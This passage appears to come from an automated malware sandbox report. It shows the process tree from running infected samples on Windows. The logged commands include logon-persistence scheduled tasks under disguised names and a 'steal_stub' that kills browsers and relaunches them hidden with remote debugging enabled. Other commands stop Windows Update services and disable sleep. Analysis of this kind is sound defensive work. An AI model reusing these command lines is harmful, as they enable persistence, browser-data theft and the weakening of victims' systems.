- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"12⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f13⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BF17YymjHX4w.bat" "13⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500114⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"14⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f15⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\z8aLoAFl1VbV.bat" "15⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500116⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"16⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f17⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\uxlMxgGltGfC.bat" "17⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500118⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost18⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"18⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f19⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XhOoOoOLKrBT.bat" "19⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500120⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost20⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"20⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f21⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qnU1H19TwK3Y.bat" "21⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500122⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost22⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"22⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f23⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\r1SPFALpokzt.bat" "23⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500124⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost24⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"24⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f25⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DhXH0ubzoCvj.bat" "25⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6184 -s 174825⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7204 -s 175623⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7172 -s 168421⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7056 -s 203219⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8592 -s 226017⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7868 -s 202015⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5016 -s 205213⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3468 -s 226811⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6132 -s 20089⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6264 -s 17647⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6760 -s 20445⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\06082025.exe"C:\Users\Admin\AppData\Local\Temp\Files\06082025.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\jerniuiopu.exe"C:\Users\Admin\AppData\Local\Temp\Files\jerniuiopu.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "NET framework" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\jerniuiopu.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"C:\Users\Admin\AppData\Local\Temp\Files\steal_stub.exe"4⤵
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0xf8,0xfc,0x100,0x50,0x104,0x7ffa799efd08,0x7ffa799efd14,0x7ffa799efd206⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa799efd08,0x7ffa799efd14,0x7ffa799efd206⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa799efd08,0x7ffa799efd14,0x7ffa799efd206⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa80e3fd08,0x7ffa80e3fd14,0x7ffa80e3fd206⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations=is-enterprise-managed=no --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1960,i,10036548141638847266,7960079924346170776,262144 --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --string-annotations=is-enterprise-managed=no --field-trial-handle=1748,i,10036548141638847266,7960079924346170776,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:116⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --string-annotations=is-enterprise-managed=no --field-trial-handle=2068,i,10036548141638847266,7960079924346170776,262144 --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:136⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2808,i,10036548141638847266,7960079924346170776,262144 --variations-seed-version --mojo-platform-channel-handle=2840 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2816,i,10036548141638847266,7960079924346170776,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3676,i,10036548141638847266,7960079924346170776,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:96⤵
- Uses browser remote debugging
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM msedge.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa7d7b3cb8,0x7ffa7d7b3cc8,0x7ffa7d7b3cd86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1332,1049279029522894426,2439371322841798936,131072 --lang=uk --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=1928 /prefetch:36⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM msedge.exe5⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox5⤵
- Uses browser remote debugging
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa7d7b3cb8,0x7ffa7d7b3cc8,0x7ffa7d7b3cd86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --no-sandbox --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2020 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --lang=uk --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2072 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --lang=uk --service-sandbox-type=utility --no-sandbox --mojo-platform-channel-handle=2348 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --disable-gpu-compositing --lang=uk --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --disable-gpu-compositing --lang=uk --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --disable-gpu-compositing --lang=uk --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4452 /prefetch:16⤵
- Uses browser remote debugging
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=1964,9497672926823893976,17228137069694617268,131072 --disable-gpu-compositing --lang=uk --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4472 /prefetch:16⤵
- Uses browser remote debugging
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\JJSploit_8.10.7_x64-setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\JJSploit_8.10.7_x64-setup.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\random.exe"C:\Users\Admin\AppData\Local\Temp\Files\random.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\kreon.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\cmd.execmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\kreon.exe"5⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping localhost -n 16⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\kreon.exeC:\Users\Admin\AppData\Local\kreon.exe6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win32-setup-unsigned.exe"C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win32-setup-unsigned.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\built.exe"C:\Users\Admin\AppData\Local\Temp\Files\built.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "svhost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\built.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /02⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1992 -parentBuildID 20240401114208 -prefsHandle 1924 -prefMapHandle 1904 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6d308db-b95c-4693-8d99-8acb2616af43} 500 "\\.\pipe\gecko-crash-server-pipe.500" gpu4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2376 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eccfcc11-0663-4a24-b8a9-9a708e46aaf8} 500 "\\.\pipe\gecko-crash-server-pipe.500" socket4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2960 -childID 1 -isForBrowser -prefsHandle 3196 -prefMapHandle 3300 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {96c4c230-02aa-45fc-92fe-38ffa575f9c3} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3560 -childID 2 -isForBrowser -prefsHandle 3468 -prefMapHandle 3476 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {09ca3658-c92b-4db2-b63f-4f20a93f4c48} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2548 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4492 -prefMapHandle 4616 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {11e339f5-a25f-4aa6-8a04-f8d3384032af} 500 "\\.\pipe\gecko-crash-server-pipe.500" utility4⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5320 -childID 3 -isForBrowser -prefsHandle 5192 -prefMapHandle 5180 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe4714da-b229-4f82-a626-d63f6a84c46f} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5452 -childID 4 -isForBrowser -prefsHandle 5460 -prefMapHandle 5464 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27371bdc-0e55-4e54-ad39-ccab7f7f0cdc} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5664 -childID 5 -isForBrowser -prefsHandle 5620 -prefMapHandle 5436 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1304 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6230255a-c4b9-4dc1-9123-21774689e73b} 500 "\\.\pipe\gecko-crash-server-pipe.500" tab4⤵
-
-
